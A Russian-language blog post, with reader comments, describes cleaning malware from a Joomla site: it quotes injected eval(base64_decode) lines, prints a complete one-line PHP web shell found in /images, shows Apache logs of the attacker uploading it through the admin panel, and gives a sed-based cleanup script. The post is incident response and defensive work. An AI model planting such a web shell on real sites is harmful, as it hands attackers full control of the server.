Как мы сайт от вируса лечили

БактерияОдин мой знакомый пожаловался, что его сайт периодически подглючивал. Стоит отметить, что сайт работал под управлением CMS Joomla. Я стал исследовать сервер, и мое внимание зацепила вот такая строка кода в одном из php-файлов:

<?php eval(base64_decode("DQplcn...KfQ=="));

Внутри этого base64-кода скрывался редирект на сайт сомнительного содержания. Стало очевидно, что сайт подвергся заражению, и надо было его лечить. Беглый подсчет показал, что заражены практически все php-файлы сайта – вхождений такой строки было около 16 тысяч. Под катом несколько шагов, которые я предпринял для устранения этой проблемы.

После непродолжительных поисков был найден крайне подозрительный файл post.php в каталоге /images, вот все его содержимое:

<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

Многие из вас сразу поймут, что делает этот файл – это простейший shell, через который можно делать практически все, что угодно с сайтом – изменять файловую систему, просматривать содержимое базы данных и т.п. Именно с помощью этого шелла и были внесены упомянутые выше включения зловредного кода.
Нахождение этого файла в каталоге images навело на мысль, что файл был залит с помощью какого-то компонента с функцией загрузки файлов на сервер (upload).
Обратил внимание на дату создания файла. Подняв логи Apache за этот период времени, я увидел там следующее:

203.0.113.113 - - [10/Jun/2012:12:48:07 +0200] "GET /administrator/index.php HTTP/1.1" 200 4899 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:07 +0200] "POST /administrator/index.php HTTP/1.1" 303 238 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:08 +0200] "GET /administrator/index.php HTTP/1.1" 200 28458 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:08 +0200] "GET /administrator/index.php?option=com_config&view=component&component=com_media&path=&tmpl=component HTTP/1.1" 200 37126 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:09 +0200] "POST /administrator/index.php?option=com_config HTTP/1.1" 303 308 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:09 +0200] "GET /administrator/index.php?option=com_config&view=close&tmpl=component HTTP/1.1" 200 1243 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:10 +0200] "GET /administrator/index.php?option=com_media HTTP/1.1" 200 26839 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:10 +0200] "POST /administrator/index.php?option=com_media&task=file.upload&tmpl=component&0ea55a9e1cf4328e177ab221abe93d9d=deq33kvthuq7e7dg9vh8085he5&d1c1330b5390935bd66008c6bf5bdc40=1&format=json HTTP/1.1" 200 392 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:11 +0200] "POST /images/post.php HTTP/1.1" 200 193 "-" "-"

После этого стал очевиден сценарий развития событий: некто попросту зашел в админку, загрузил в каталог images свой shell-код, после чего стал им беспрепятственно пользоваться. Расспросив владельца сайта, мои опасения подтвердились – на тот момент на админку сайта стоял стандартный пароль, который было нетрудно подобрать злоумышленникам.

Я удалил файл post.php, а остальные файлы вылечил с помощью такого скрипта:

#!/bin/sh
LS=`grep -R eval\(base64 /var/www/sitename.ru | sed 's/:.*//'`
for FILE in ${LS}; do
  echo $FILE
  sed -i 's/ eval(base64_decode("DQplcn...KfQ=="));//' $FILE
done

Возможно, скрипт можно написать и более лаконично, но я решил действовать надежнее.

Мораль сей басни такова: обновляйте свои CMS-движки и не используйте простых паролей!

Похожие статьи

7 thoughts on “Как мы сайт от вируса лечили”

  1. У меня тоже на одном из мною созданных сайтов нашелся такой же файл с таким же содержимым в каталоге images/ я его удалил, но по поводу скрипта не понял, как им пользоваться. Статья прям про мою проблему. Пожалуйста объясните мне как мне бороться с этим внедрением. И не повлияет ли на другие сайты эта гадость если они все на одном хостинге?

  2. Шамиль, суть в том, что вирус после себя может оставить множественные “отпечатки” вроде base64_decode… Скрипт этот ищет такие отпечатки и удаляет их из этих файлов. Зараженных файлов были тысячи, поэтому руками чистить был не вариант.

  3. tam :…вирус после себя может оставить множественные «отпечатки» вроде base64_decode… Скрипт этот ищет такие отпечатки и удаляет их из этих файлов…

    Я вас понял. Не могли бы Вы мне помочь, подсказать как этим скриптом работать. И если можно поподробней, я в этом обучающийся новичок. Буду весьма благодарен если поможете избавиться от следов

  4. Запускаете этот скрипт на сервере и вуаля. Нужно только поменять значение “DQplcn…KfQ==” на своё.

  5. можете сказать свой skype иди ICQ
    я не совсем понимаю как эту вуаля устроить !!!

  6. tam :Запускаете этот скрипт на сервере и вуаля. Нужно только поменять значение «DQplcn…KfQ==» на своё.

    Дело в том что я не знаю как запустить этот скрипт и не догадываюсь что такое «DQplcn…KfQ==»

  7. Тоже подхватил этот вирус, но файл post.php не нашел, нашел в “images/stories” файл “story.php” с таким содержимым:

    GIF89a1

Leave a Reply

Your email address will not be published. Required fields are marked *